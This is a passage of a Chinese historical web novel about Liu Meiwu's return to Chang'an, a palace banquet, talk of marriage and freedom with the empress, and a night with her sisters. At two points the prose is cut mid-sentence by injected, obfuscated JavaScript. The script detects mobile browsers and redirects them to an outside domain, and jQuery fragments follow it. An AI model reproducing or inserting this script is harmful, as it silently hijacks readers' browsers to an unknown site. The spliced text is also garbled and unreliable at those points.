“是了,高兴。娇娇儿回来,我高兴,我们都要高高兴兴。”何云深捧着柳眉妩的脸,用指腹帮她细细擦了眼泪,反手又用手背囫囵擦了自己的眼泪,转头吩咐道,“如意,传膳,娇娇儿肯定饿了。” “是。” “枝枝三三还不知道娇娇儿回来了,也去知会一声,她们姐妹最是情深了。” “是。” 闲话几轮,情绪渐平,母女三人终于歇了泪,携手往膳厅去。不多时,一阵笑闹声响,五六个丫鬟簇拥着两姐妹迤逦而来。 柳半枝款步轻移,秋水为神玉为骨,芙蓉如面柳如眉。一袭紫碧羽缎散花间色裙,亭亭玉立,淡雅如空谷幽兰,扬扬其香。 柳色新则不然。 云髻高绾,珠翠生辉。上着水绿卷雾荷叶衣,下系藕粉莲纹月华裙。鞋面是用金丝银线织的水纹,潋滟灵动,低调又招摇,与裙摆花纹交相辉映,恰如出水芙蓉。行则绰约,停则娉婷,真真是步步生莲,从头发丝儿精致到了鞋面水纹。 柳眉妩眼中惊艳,赞叹不迭:“我道哪里来的神仙姐姐,原来是三姐姐!” “我说谁的小嘴儿抹了蜜,原来是娇娇儿。” 姐妹四个抱在一起,笑闹半天都不撒手。 “娇娇儿你不知道,三三今日可有心了,一大早便起来梳洗打扮,哈欠连天也顾不上了。这一身叫夏荷浮翠,是她四个月前在霓裳阁定制的,今日头一回穿,专为迎你呢。”柳半枝笑吟吟解释,“屈子诗云,制芰荷以为衣兮,集芙蓉以为裳,不外如是。” 柳眉妩听了,却捂嘴笑起来,挤着眼狡黠问道:“真的吗三姐姐?你这一身夏荷浮翠当真是专门穿给我看的,而不是穿给小五看的吗?” 她的重音咬在“夏”字,意有所指般。众人听了,哪能不懂她的弦外音,一个个忍俊不禁。 七月流火,九月授衣。长安入秋便冷,今日又是霜降,便是习武如竹悠然,早起也忍不住打了两个喷嚏,最后还是披上柳眉妩的孔雀氅才暖和些。 柳色新登时羞恼,粉面飞霞,口里却不饶人,“好你个娇娇儿!再浑说,看我不撕了你的嘴!” “娘亲你看,三姐姐凶——”柳眉妩佯装不敌,扭身往何云深怀里躲,还拖长尾音撒了个娇。 “你呀你,惯会卖乖讨巧。”何云深笑搂着她,伸手点了点她额头,无奈又宠溺,抬头又转话题道,“好了,许许,枝枝,三三,你们也坐吧。再闹下去,饭菜要凉了。” “是,娘亲。”柳色新口里应着,在何清如身边坐下,转头又朝柳眉妩呲牙咧嘴张牙舞爪地比划起来。 柳眉妩自然不甘示弱,吐舌挤眼,皱鼻弄眉,鬼脸扮得层出不穷。一副洋洋得意的小人模样,要多神气,有多神气。 众人一笑置之。 35. 宫宴 申时一刻,柳眉妩随娘亲姐姐登车赴宴,一路闲话如流水,不到三刻便停在了朱雀门外。宫阙巍峨,气象万千,车驾至此皆不得入。母女五人方下马车,早有流光溢彩的步辇静列阶前,恭候多时。 宫里姑姑一见何云深,当即笑吟吟趋前福身,也不看诰命牌子,也不搜有无利器,只目光在柳眉妩身上不着痕迹地一转,便恭声唱道:“晋阳侯府诸位贵人,请——” 言罢,垂首侧身,宫门沉沉洞开。 深宫禁苑,静寂肃穆,天威凛凛,摄人心魄。飞檐鸱吻默然睥睨,令人望之生畏。五步一楼,十步一阁,宫径迂回百转,若换作寻常官眷,不出十步,必定晕头转向。 何云深却轻挥广袖,婉拒了想要起轿的小黄门,转头对柳眉妩道:“娇娇儿,方才不是说点心吃多了积食么?横竖不过几步路,我们走过去吧,就当消食了。” 柳眉妩自然无有不从。 身后,宫人伏跪于地,唱喏之声如潮汐连绵起伏:“恭送晋阳侯夫人——恭送大公主、二公主、三公主——恭送叶小姐——” 柳眉妩心中蓦地一刺,只觉物是人非。 这感慨,半是为娘亲那句“晋阳侯夫人”,半是为自己这声“叶小姐”。 一个时辰前,松公公来府中传旨。她亲眼见到皇上姨父御笔亲赐的那块“太平相府”匾额被取下,随即换上大哥哥墨迹淋漓、金粉未干的“晋阳侯府”匾额。 “将相重设,君臣同乐。”松公公笑得意味深长,“陛下龙心大悦,特设宴通明殿,娘娘也在昭阳殿为叶小姐接风洗尘。今夜花萼楼的灯火,怕是要照满长安城了。” 柳眉妩听罢,心中百感交集。朝为商贾郎,暮登天子堂。不过一日光景,叶茂便已金印紫绶,拜太平相,位列百官之首了。 晃神间,一行人已行至花萼楼下。 花萼楼全名花萼相辉楼,取自诗经“常棣之华,鄂不韡韡。凡今之人,莫如兄弟”,首建于元和十年,恰是二哥哥受封洛阳王的那一年。楼高三重,一楼是官眷聚会的昭阳殿,二楼是君臣宴饮的通明殿,三楼则是家宴夜宿的春光殿。 爹爹曾抚须笑言,此楼以棠棣之花喻大哥哥二哥哥兄弟情深,犹花复萼、萼承花一般,相互辉映,故得此名。 永乐元年,她降生之时,爹爹又在府中修建舜华园。借木槿朝开暮落,荣华一瞬,反祈她们姐妹四人情谊永固,地久天长。 敛回心神,柳眉妩随众人自右门进昭阳殿,依爵序入席。柳家天潢贵胄,尊荣无匹,满门皇亲国戚,席位自然紧邻御座之下—— 柳存绥,昔为太平相,今追晋阳侯,位极人臣;何云深,忠义侯嫡幼女,亦是先思太后胞妹;三位小姐更不必说,甫一出生便敕封异姓公主,金尊玉贵,娇养长大。 大新律制不同前朝,天子之下,王侯将相虽非世袭,却有定数。当今唯圣人胞弟封洛阳王,此外再无亲王。侯爵共有五家,分别是忠义侯、昭明侯、乐善侯、承恩侯和新晋追封的晋阳侯。将相堪称国之股肱,纵览两朝,亦只有大将军和太平相两人而已。 依例,柳眉妩席位当随太平相府设,何云深却执意把她留在身边。如此堂而皇之地添座加席,四下竟也井然有序,显然是早有安排。眼尖的人见了,或有疑问,却不敢有异议。 酉时初至,宫灯次第点亮,昭阳殿内已座无虚席。官眷们敛容端坐,屏息凝神,就连衣袂拂动的声响,仿佛也凝在了金碧辉煌的殿宇里。 柳眉妩执金箸,有一搭没一搭地戳着碟里精巧却无趣的合欢酥,眼观鼻,鼻观口,口观心,正无聊得紧,忽听一声尖细嗓音穿透满殿寂静,拖长了调子唱道:“皇后娘娘到——” 是松公公。 她随众人起身行礼,又趁众人俯首的间隙,偷偷抬眼去看。便见梅皇后一身正红撒金宫装,外罩月白素纱,仪态万方,缓步徐行,最终落座在高台凤座之上。 满殿宫娥与命妇闺秀皆伏跪于地,无人敢直视凤颜,唯她一人眼波流转,鬼鬼祟祟又明目张胆地抬头打量。直至被梅皇后察觉,递来一记似嗔似怪的眼风,柳眉妩吐了吐舌头,这才学众人山呼:“参见皇后娘娘,皇后娘娘万福金安!” “免礼,平身。”梅皇后音色温和,如煦煦春风,“今日召诸位入宫,别无他事,不过是为叶小姐接风洗尘。大家不必拘礼,只当家宴,随意便好。” 话虽如此,真把这客气话当了真,不再拘谨、视同家宴、坦然落座的,除了柳眉妩,满殿再找不出第二个。其余人福身应好,规规矩矩落了座,而后又各怀心思地打量起柳眉妩。 承恩侯夫人率先发难,似笑非笑地问:“好生奇怪,叶小姐不坐太平相府的席位,怎么坐到了晋阳侯府的位次去?” 这话听似有礼有节,实则刁钻又刻薄。明里讥她不懂规矩,缺乏教养,连坐席都分不清楚;暗里又贬她攀附权贵,眼巴巴挤到这天子脚下的尊位来。 霎时间,殿内只听得见金箸碰玉碟的脆响,众人垂目敛息,连呼吸都压着三分。灯火摇曳,在柳眉妩眼底明明灭灭,好似无数双欲言又止的眼睛。 半晌,柳眉妩终于舍得放下金箸,将那碟不成形状的酥饼推得远些,面上还是一派云淡风轻的模样。毕竟,有娘亲在,许多风雨,便不必她亲自去挡。 果不其然,下一瞬,何云深温婉却不失威仪的嗓音悠然响起,荡彻殿宇。 “史夫人素来耳聪目明,今日怎么听岔了风声,如此心急口快,听风是雨,可不像你的作风。”何云深端坐席上,唇角含笑,又仪态万方地朝凤座方向颔首,“臣妇与娇娇儿投缘,已收作义女,今日见她孤身赴宴,便自作主张留在身边。失仪之处,还望娘娘海涵。” “姨母这是哪里话。您的义女,便是本宫的妹妹,一家人何须两家话。”梅皇后笑容依旧和煦,故作讶然,“不过,叶小姐的小名也叫娇娇儿么?” 柳眉妩适时回道:“回娘娘,臣女小名娇儿。” “如此,当真是缘分不浅。”梅皇后嫣然一笑,眸光流转间,已将此事轻轻揭过。 一番机锋往来,史夫人碰了个软钉子,面色讪讪,只得偃旗息鼓。众女眷见此情状,再不敢怠慢,纷纷起身向柳眉妩敬酒道贺,口里说些真真假假的逢迎之词,唯恐落了人后。 柳眉妩执杯回礼,却不喝酒,久之觉得索然无味。这般虚与委蛇的场合,最叫她厌烦。待歌舞再起,丝竹声又搅得人心浮躁,她终是按捺不住,转头向何云深说想出去吹吹风。 何云深知她脾性,只温言叮嘱一句“仔细脚下,莫走远了”,便由她去了。 * 昭阳殿外,琉璃灯将棠棣林照得一片通明,枝叶交叠,宛若一扇巨大的翡翠屏风。柳眉妩知道,林苑尽头,便是二哥哥的洛阳王府。 她信步踏入林间,忽然停在一株古老苍劲的棠棣树下,不由得心生怆然。此树虬枝盘曲,老干嶙峋,华盖亭亭如云。往日宫宴烦闷,她偷溜出来,只须足尖轻点地,便能翻身跃上枝头,或坐或卧,摇荡自适,好不惬意。何至于像今日这般,望树兴叹,无能为力。 正自伤神,遥见三名华服男子自左门出楼,相伴步入棠棣林,且行且谈,语声渐近。 若换作寻常闺秀,遇此情状,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268990|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一反应便是避嫌。这世道对女子太过苛刻,若闺阁女子无端与外男私相接触,无异于暗通款曲,一辈子清白名誉便毁了。 柳眉妩却浑不在意。 她是先帝亲封的仙游四公主,金枝玉叶,尊贵无匹,纵使遴选驸马,也要凭她心意。她与宝儿指腹为婚不假,可若是她不喜欢,婚约便作不得数。至于其他——她若有意,收个面首也无不可;她若无意,便是皇亲国戚,治罪发落也不过一句话的事。 她站在棠棣林深处,绿荫如盖,宫灯照不过来,月光也透不下来,若不细看,便看不见她。她就这么静静站着,隐在漆黑夜色里,听他们侃侃而谈。 三人越来越近,交谈声清晰传入耳中。柳眉妩正觉无趣想要离开,忽觉左侧风声有异,黑衣男子毫无征兆地闪步欺身过来,掌风凌厉直逼她脖颈。柳眉妩神色自若,反手从腰间取下望舒,剑鸣清越,直指那人眉心。 那人动作一顿,眼中闪过费解:“你是何人,竟敢佩剑入宫闱?” 他不认识柳眉妩,柳眉妩却认得他们三个。被她执剑制住的黑衣男子,正是兵部尚书之子厉不群,眉眼冷峻如刀;右边一身墨青色暗纹祥云锦袍的,是御史大夫次子江淮,面上温润含笑,眼底却暗藏机锋;而中间那位,锦衣华袍,玉冠金扇,花枝招展好似孔雀开屏的,正是承恩侯三子苏适。 江淮率先反应过来,当即拱手一揖,笑容恳切道:“这位小姐,方才是我这兄弟鲁莽唐突,惊扰了小姐,万望海涵。实在是小姐面生得紧,我等眼拙,这才闹出误会。” 柳眉妩暗诽一句笑面虎,面上却不动声色,收剑入鞘,顺势放了厉不群。她不欲纠缠,转身便走。 苏适却伸出金骨扇,抬手拦住她去路,桃花眼似笑非笑:“小姐佩剑入禁苑,是为失敬;鬼鬼祟祟暗听壁角,是为失礼。如此失敬失礼,难道就没有解释吗?” “没有。”柳眉妩瞥他一眼,语气揶揄,“你去告御状呀。” “……” 柳眉妩轻轻撞开他的折扇,走了两步忽又停下,转身幽幽道:“要我解释也不是不行,你求我啊。” “……” 柳眉妩嗤笑出声,忽然不急着走了,慢悠悠道:“你说我佩剑失敬,言之凿凿,实则无理又无知,可笑可笑。宫规森严是不假,你们需要缴械也不假,可我却未必。而你妄揣圣意,岂非更是大不敬! “至于偷听失礼……其一,我比你们先到这里,正冥想修禅,参悟一叶一棠棣,是你们突然过来扰了我的清净;其二,我对你们大声密谋的计划毫无兴趣,真的,我一点儿也不想知道,你们要在重阳节设宴红袖招,算计杨无名。” 苏适:“……” 江淮:“……” 厉不群:“……” 苏适面色青白交加,还要再拦,被柳眉妩巧身避开,皮笑肉不笑道:“苏三公子留步。我认得路,不劳相送。” 三人僵立原地,如同被施了定身咒。厉不群双拳紧握,指节发白;江淮面上笑意彻底消失,只剩一片冷冰冰的审视;苏适的脸色由白转青,又由青转红,金扇抵在下颌,眼中羞愤与惊疑交织。他们就这么一动不动地目送她渐行渐远,出了棠棣林,又进了花萼楼。 良久,苏适方如梦初醒,颤声问道:“她……她怎么知道我身份?” 那女子衣着打扮皆非凡品,容貌昳丽,性情却与长安贵女迥然相异。她进了花萼楼,说明是今晚参加宫宴的官眷,可他们却从未见过她。 那么,答案几乎呼之欲出。 “是她。” 三人对视一眼,不约而同想到一人。 36. 说亲 再回昭阳殿,梅皇后凤驾已离,殿里氛围随之松泛下来。众官眷呼朋引伴,闲话家常密事,言笑晏晏,好不热闹。 柳眉妩的席位被人坐了,何清如的位置却空着,柳半枝见她回来,朝她招手,她方明白大姐姐被昭明侯夫人请了过去说话。她便顺势在何清如的位次上坐下。 柳色新忽而凑近,低声笑道:“说起来,好久没见到宝儿了,他可随你们一同回来了?” 依着宝儿那黏人性子,几个时辰不寻娇娇儿便算得上奇事,平日里恨不能将大小琐事悉数说与她听。柳眉妩经此一提,方才后知后觉,“确实,自他回府后就没了信儿,怕不是又被宗伯父关了禁闭?我上二楼瞧瞧他去。” 柳半枝连忙按住她,哭笑不得,“小祖宗,安生些罢。真当这是家宴,随你胡闹呢。” 柳色新以袖掩唇,眼波流转间尽是揶揄,“瞧你这心急模样,我都有点嗑你俩了。” 柳眉妩也笑,“左右我也嗑你和小五,你回嗑我和宝儿,刚好礼尚往来。” 姐妹三个窃窃私语,正咬着耳朵说体己话,忽闻一道声音横插进来,语带热切:“灵儿,你可曾许了人家?” 是史夫人。 她挨着何云深,坐在柳眉妩先前的位子上,却一改先前的凌厉姿态,满脸笑意地望过来。 柳眉妩下意识想到宝儿,转念又想到杨无咎。自那日把话说开,杨叶两家便爽利退了亲,大表哥待她倒是一如既往地疼爱。 “灵儿?” 柳眉妩回过神来,低眉却道:“没有。” “实不相瞒,灵儿,方才我同何夫人聊起,家中尚有一子,年方十六,也还未曾订亲。”史夫人笑容愈深,保养得宜的脸上难得显出几道细纹,“适儿虽说玩闹了些,可本性不坏,有担当,也会体贴人。你若得空,不如抽个时间和他见一面?” 柳眉妩脑中闪过苏适那张招摇的脸,拒绝的话还没出口,下意识先看了何云深一眼。何云深会意,当即婉拒道:“史夫人美意,我们心领了。只是娇娇儿年纪尚小,亲事还不急着考虑。” “自然自然,我这不也是早做打算嘛。”史夫人连连点头,却不退缩,“常言道,一家好女百家求。何夫人,若我们两家都有意,不妨先订下婚约,待灵儿明年及笄,再议婚嫁也不迟呀。” “史夫人若真有意,还请亲去太平相府,与叶相商议。我不过是娇娇儿义母,于她的婚姻大事上,实难做主。”何云深见何清如回来,理了理衣袖就要起身,“不胜酒力,我们就先走了,史夫人慢饮。” 史夫人何等识趣,当即起身相送,“何夫人慢走。” 母女几人相携出了花萼楼,楼内歌舞喧嚣犹在耳畔。时辰尚早,不到酉末,一楼宴席未散,想必二楼更是觥筹交错,君臣尽欢。 刚走几步,便见一人自转角处迎上前来,向她们一一施礼,笑吟吟道:“娘娘有请。” 是大嫂嫂身边的素琴。 * 戌时正刻,未央宫殿阁深深,宫灯长明,宫婢们垂首跪迎。入得内殿,只见梅皇后卸去吉服大妆,着一袭素雅常服,正执匙慢饮一碗桂子蜜羹。 “姨母,许许,枝枝,三三,”她含笑唤过,目光落在柳眉妩身上,细细端详片刻,笑意愈深,“娇娇儿,你们来了。” 众人落座,素琴为每人奉上桂子蜜羹,而后静立一旁。 “姨母,这么晚了还请你们过来,实在不该。只是陛下临去前再三嘱托,有些话,定要我转告姨母。”梅皇后柔声解释。 “娘娘但说无妨。” “说起来,其实也没什么要紧事,不过是关切几位妹妹的亲事罢了。”梅皇后语声温和,转而望向何清如,“许许的婚期,定在何时了?” “回娘娘,定于明年上巳。” “怎这么晚?顾世子年底便该行冠礼了罢?” “是我觉得冬日太冷,所以定在明年春时。天暖日长,晴光正好,成婚也热闹些。” “那倒也是。”梅皇后浅浅笑着,整个人如水如玉,温和生润,“桃之夭夭,灼灼其华。到那时,我们许许定然人比花娇,只怕满长安的春花加起来,也不及你一分颜色。” “大嫂嫂尽会取笑人。”何清如低眉羞涩。 “三三呢?”梅皇后眸光流转,似有意似无意地略过柳半枝,看向柳色新,“小五有何打算?是准备考取武状元,还是去军营历练几年搏个功勋?” “他打算直接尚公主。”柳色新笑着道。 “也好。”梅皇后也忍俊不禁,又笑望一旁调羹出神的柳眉妩,“娇娇儿呢?” 柳眉妩被柳色新肘了一记手腕,回过神来,朗声答道:“大嫂嫂,我很好。” 她这般神游天外,梅皇后早已见怪不怪,只是无奈道:“我自然知道你很好。是问你,于终身大事上,有何思量?” “大嫂嫂,我还小呢。大姐姐还没成亲,二姐姐和三姐姐也待字闺中呀。” “许许明年上巳便出嫁了,枝枝什么情况你也清楚,三三和小五,看来是只等许许礼成就能定下了。”梅皇后认真道,“娇娇儿,你已十四,年底便及笄了,谈婚论嫁正当其时。” “可我现在是叶灵儿,上个月才满十四,离及笄还早着呢。”柳眉妩索性胡搅蛮缠起来,“此事大姐姐在成都也知道的,是不是呀娘亲?” 何云深无奈地笑,也确实不解,便问:“不知娘娘此言,是为何意?” “姨母,”梅皇后却不直接作答,反而问道,“今日西市神算子一事,娇娇儿说与你听了吗?” 柳色新讶然,“什么神算子?娇娇儿,你一回长安就去算命啦?” 一时间,众人望向柳眉妩,柳眉妩看向何清如,何清如向她轻轻摇了摇头。 今日神算子出现得蹊跷,她们前脚刚进长安城,那人后脚就迎上前来,语带机锋,暗藏玄谶。何清如虽未全信,却也存了七八分“宁可信其有”之心。柳眉妩怕娘亲多虑,央着何清如瞒下此事,却忘了帝都皇城,天子脚下,风吹草动岂能瞒过圣听? 待柳眉妩将日间所遇娓娓道来,殿内一时静默,众人各有所思。 何云深率先打破沉默,“娘娘,陛下可曾查到神算子来历?” “奇怪的是,没有。那人离去时,陛下派了影卫跟他,结果他轻而易举就甩掉了影甲。” 影卫,顾名思义,是如影随形的暗卫。天子影踪,如蛆附骨,影甲更是大哥哥麾下十二影卫中的翘楚,却被一个当街算命的摆了一道,情何以堪! 几人听了,都觉不可思议。 “下次再见影甲,不知又要换作谁了。”柳色新似叹非叹。 这话倒是一点不假。 东方凌风的十二影卫与东方凌云的幽影十三骑虽同为暗卫,却大不相同。十三骑中次序即名号,第几便是第几。而影卫只有次序,没有名号,且每月考核更迭,甲乙丙丁也不过是临时代号。 “我倒有一计,不如让三三画下神算子的模样,张榜通缉,拿获之后细细审问,便什么都知道了。”柳半枝提议道。 柳色新当即应下,跃跃欲试。 柳眉妩听完,也觉得有理,可回忆片刻,又颇感疑惑:“可我现在,已经不记得神算子长什么模样了。大姐姐,你还记得吗?” 何清如想了想,也疑惑道:“奇怪,我也不记得了。” 只模糊记得那人貌无奇处,无甚特征。不美不丑,不高不矮,不胖不瘦,落入人海便再难辨识。 两人正奇怪,梅皇后将那道皱巴巴的平安符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268991|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递还给柳眉妩,温言劝道:“神算子既说了,及笄之前万勿远游,长留府宅可避万难。陛下也是觉得,你这几年性子无拘无束惯了,闲云野鹤一般,总不太好。不如便趁着这次回京,为你和宝儿完婚,也好顺势收收心,安于内宅,享闺阁之乐。” “大嫂嫂,此言差矣。神算子之言,玄则玄乎,我却一个字也不信。”柳眉妩不赞同道,“六七以上,三五未满,是说十三岁到十五岁,也确实是叶灵儿和我的年纪。西方相对是东方,北面所向是南面,而成都也确实是碎叶的东方、长安的南面。至于去日无多,就更好理解了……” “既知如此,你还不上心?”梅皇后蹙眉。 “既知如此,我才不上心。前世的卦,算今生的事,哪有这样放诸四海而皆准的谶语?大嫂嫂,我现在是柳眉妩,又不是柳眉妩;是叶灵儿,也不是叶灵儿。既重活一世,命格又岂会一成不变? “而且,就算成了婚,我也不要安于内宅,那日子多没意思呀!若整日里除了相夫就是教子,那我和这笼中鸟又有何区别?”言至激愤处,她蓦地抬手,指向殿角悬挂的金丝鸟笼,声辞凛然。 “那你要如何?”梅皇后不嗔不怪,含笑问她。 “我此言绝非轻视所有甘于家室、相夫教子的女子,只是大嫂嫂,人各有志,我亦有自己的想法。我受恩父母,生来五官端正,四肢健全,若终日困于深宅内院,岂不可惜得很!” 梅皇后愿闻其详。 柳眉妩便站起身,手舞足蹈,侃侃而谈:“我有眼睛可看长天流云青山绿水,有鼻子可闻花草芬芳泥泞腐臭,有耳朵可听万壑风声千树鸟鸣,有嘴巴可尝酸甜苦辣人生百味。我有手,可以仗剑天涯,除恶扬善;我也有脚,可以跬步千里,丈量山河。 “我虽是女子,将来或许也会为人妻、为人母,却不愿成为华丽孔雀、精致鹦鹉,或是永困金笼的雀鸟。就算成了婚,我向往的也还是浩翰深海,寥廓长天。” “好一个浩翰深海,寥廓长天!”柳半枝击节赞叹,“娇娇儿,我支持你!我们化鲲化鹏,飞出深宅内院,终有一日会游于四海,翔于九天,做这世间一等一最自由快活的人。” 梅皇后扶额,“枝枝,你就惯着她吧。” “大嫂嫂,这还真不是我惯着娇娇儿,实在是娇娇儿说得太过精彩,我情难自禁。”柳半枝笑道,“譬如我,于婚嫁之事,不热衷,也不抗拒。若他日真有一人,与我志趣相投,灵犀互通,缔结连理也未尝不可。可若没有,宁缺毋滥,我便著书立说,青灯古佛,长伴娘亲身侧,亦是圆满。” “何苦如此?” “不苦。世间情爱何其多,良人却何其少。我于茫茫人海中寻此一心人,得之我幸,不得我命,如此而已。” 世间于女子多有苛求,婚姻大事多是父母之命媒妁之言,盲婚哑嫁身不由己者比比皆是。柳半枝却在殿内振振有辞地说,她要自己去寻良人,宁缺毋滥。 梅皇后摇头叹道:“枝枝,这谈何容易。” “纵然行路艰难,前途坎坷,我也要偏向此山行,不屈不折。”柳半枝的音色清越,眸光清亮,“虽千万人,吾往矣!” 此番言论,可谓石破天惊。在场众人无不心神动荡,目光下意识望向何云深。却见何云深只是端坐原位,眼睫低垂,面色沉静如水,良久,唯有一声轻叹逸出唇畔,几不可闻。 她们不解,柳眉妩却知道为什么。 那夜长梦,她见到了娘亲,一如水中月见天上月。梦里的娘亲也像今日的二姐姐一般,离经叛道,风姿卓然,与众不同。只是可惜,在那样情窦初开的年纪,娘亲却早早遇上了爹爹,一眼万年。 从此便心甘情愿地收了鱼鳍,折了羽翼,忘却鲲鹏志,成为解语花,化作绕指柔。 37. 夜话 未央宫一番话毕,众人辞别梅皇后,乘轿辇,坐马车,径回晋阳侯府。月色寥寥,长安城的夜仿佛被浓墨浸染,只有檐角几盏宫灯摇曳,在秋风中透出几点稀微的光。 柳眉妩第一次发现,长安的夜竟这样黑。 黑得幽深,黑得寂静,黑得让人心慌。 如马过悬崖,人走独木,行差踏错,便是万劫不复。 “娇娇儿,小心脚下!”何清如惊呼,伸手扶住她,“怎么上个马车还走神?” 柳眉妩回过神来,不好意思地朝她们吐了吐舌头,如愿得了柳色新一个爆栗。 柳眉妩当即和柳色新扭抱在一起,你挠我的腰,我捏你的脸,一路插科打诨,欢声笑语,谁也不让着谁。闹久了便累,柳眉妩捂嘴打个呵欠,休了战,偎在何云深怀里,闭目似在小憩。 何云深握着她的手,下意识搓了搓,“手怎么这样冰?” 柳眉妩恍然道:“今日忘记吃糖了。” 说着,从怀里掏出个翠色瓷瓶,倒出粒褐色糖丸,就要往嘴里送。 柳色新一把拦住,皱眉道:“娇娇儿,怎么什么都往嘴里送?二姐说了,寒食散轻易可碰不得。” “什么寒食散?我这是彩虹糖,叶老爹亲自做的。” “是药三分毒,这药丸你每日都要吃吗?”柳半枝拿过她的瓷瓶,拔开塞子轻嗅,又倒出一粒在掌心仔细看了,方才还给她。 “基本上是每日一服,不然没有精神。” 难以想象,昔日纵马游街、笑闹市坊的长安小霸王,如今会说出这样的话。何云深揉了揉发酸的眼,声音哽咽:“我儿受苦了。” 柳眉妩含了糖,神色自然,用脑袋顶了顶何云深的下巴,像只撒娇的猫,“我没事的,娘亲。” “娇娇儿确实长大了。”何云深轻叹一声,抚着柳眉妩的头发,“今夜在未央宫的话,娘亲也记下了。你们能如此这般想,娘亲很是欣慰。” 柳眉妩定定看她,轻声道:“我希望娘亲好,正如娘亲希望我好一样。正如娘亲不明白我为什么会喜欢习武练剑,一面担忧,一面却劝说爹爹为我寻找长安最好的师父;正如娘亲不理解我为什么会抓着‘眉妩’二字不松手,一面担忧,一面又愿意为我以此命名。 “娘亲希望我们好,也从不是为了束缚我们,而是将我们托举得越来越高,将我们推送得越来越远。可娘亲似乎忘记了,娘亲站得高,我们才能站得高;娘亲走得远,我们才能走得远。 “娘亲很好。对我们很好,对爹爹很好,甚至对所有人都很好。可有时候,却独独忘了对自己好一些。不过不要紧,我们帮娘亲记着呢。无论是浩翰深海,还是寥廓长天,我们若见到,娘亲就会见到。” “说不定,终有一日,天下女子都会见到!”柳半枝补充道。 何云深听完,眼底情绪翻涌,化作一片温润水光。她将柳眉妩的手握得更紧,又将其余几个女儿一一揽入怀中,欣慰地笑道:“肯定会的。有你们在,娘亲何愁见不到,天下女子何愁见不到。” 一番话毕,母女几人无不动容,相拥而泣。不多时,马车停在侯府门前,众人收泪下车,时已戌末。姐妹几个要送何云深回不知处,被她婉拒,只是催她们快些回去梳洗。她们便也不坚持,道过晚安,携手往舜华园去了。 舜华园坐落府中,不大,也不小,却是姐妹四人自小长大的地方。园中遍植海棠玉兰,虽已入秋,仍有余香隐约,在清冷的风中丝丝缕缕,不肯散去。 除却何清如的问渠院、柳半枝的如是斋、柳色新的青青舍和柳眉妩的新月馆,另有一处风来水榭,坐北朝南,四面敞轩时可遍观小园景致。室内陈设精致,白玉长床铺着蚕丝被,此时玉簟已褪,云衾柔软,正适合姐妹四人同寝。 柳眉妩最先梳洗完毕,见青玉案上有琉璃玉匣凭窗映月,潋滟流光,忍不住走近去看。 “娇娇儿,且慢——” 柳半枝话音未落,柳眉妩已打开了玉匣,顿时怔在原地。匣中静静躺着一块碑形碧玉,不过手掌大小,色沉如潭,通体密刻簪花小楷,在月下泛着幽幽光泽。 柳半枝快步过来,合上玉匣,语带懊恼:“怪我疏忽,忘记让她们收起来了。如今你好端端站在这里,何必再见这晦气东西。” “才不晦气。”柳眉妩泪眼盈盈,反手抱住柳半枝,哽咽道,“无论生死,我都喜欢。谢谢二姐姐的墓志铭。” “快别胡说!什么生生死死,这么大人了,嘴里怎么也没个忌讳。”柳半枝轻斥,眼里却满是心疼。 柳眉妩破涕为笑,“我不管,既是写给我的,二姐姐便赏了我吧,我要留着珍藏。” 柳半枝拗她不过,含笑摸摸她脑袋,郑重递过玉匣,“你要,拿去便是。到底是块天山碧玉,千年不朽,配得上长久珍藏。” 柳眉妩却摇头道:“玉有价,二姐姐的文章无价。二姐姐的情意,更是无价中的无价,天下第一的无价。” 那碑玉上刻的,正是柳半枝亲撰亲刻的《殇妹仙游墓志》—— 柳氏殇女名眉妩,小字娇娇,封仙游公主。生十四年,以永乐十五年二月八日夭于蜀郡,十二日,敛手足形于长安凤栖原。既阖棺,其二姊泣而志之曰: 尔幼有敏智,孝顺敬逊,至性过人。读三坟五典,六艺皆备,尤好剑术,不离扶光。凡见不平事,快剑伏神魔,坊间无不交口称赞,亦多趣闻轶事。每忆往昔,停笔悲号,戚不自胜。号曰: 昭昭彼苍,隐见微茫。忽忽浮生,孰明无常?但闻辅德,何期罚良。金坚玉贞,鹤去舟藏。陇泉悲咽,山云惨伤。露凝青槚,风悲白杨。月摇草色,日照松光。春秋非我,此夜何长? * 待四人梳洗完毕,穿着暗绣繁复的寝衣躺在帐中,鹅香氤氲缭绕,却无一人有睡意。帐外烛火摇曳,映得每个人脸上都蒙着一层柔光。 “大姐,顾思义什么时候回来?坤仪公主府快要竣工了吧。”柳色新挽着何清如的手臂问,声音里带着几分慵懒。 “军中急召,他去得匆忙,没说归期,只答应重阳一定回来,陪我赏菊。” “好在今日已初四,满打满算下来,也只有四天了。唉,一日不见,如隔三秋,有情人若不得长相见,真教人难过。” “两情若是久长时,又岂在朝朝暮暮。”柳半枝如是反驳。 柳色新嘻嘻笑道:“可我是个空有倾国倾城貌的俗人,既要长长久久,也要朝朝暮暮。” “这自然好。你现在和小五可不就是又朝朝暮暮,又长长久久吗?”何清如笑着,语气调侃。 柳色新沉默半晌,再开口,声音闷闷的,似叹非叹:“可这些都是小五迁就妥协换来的。他自退出十三骑,分景便束之高阁,再没见他练过。你们只见他每日欢欢喜喜围着我转,为我描眉敷粉染指甲,只有我知道,他还是会偷偷地看剑谱心法。” “大新立朝以来,驸马便是虚职。小五一介暗卫 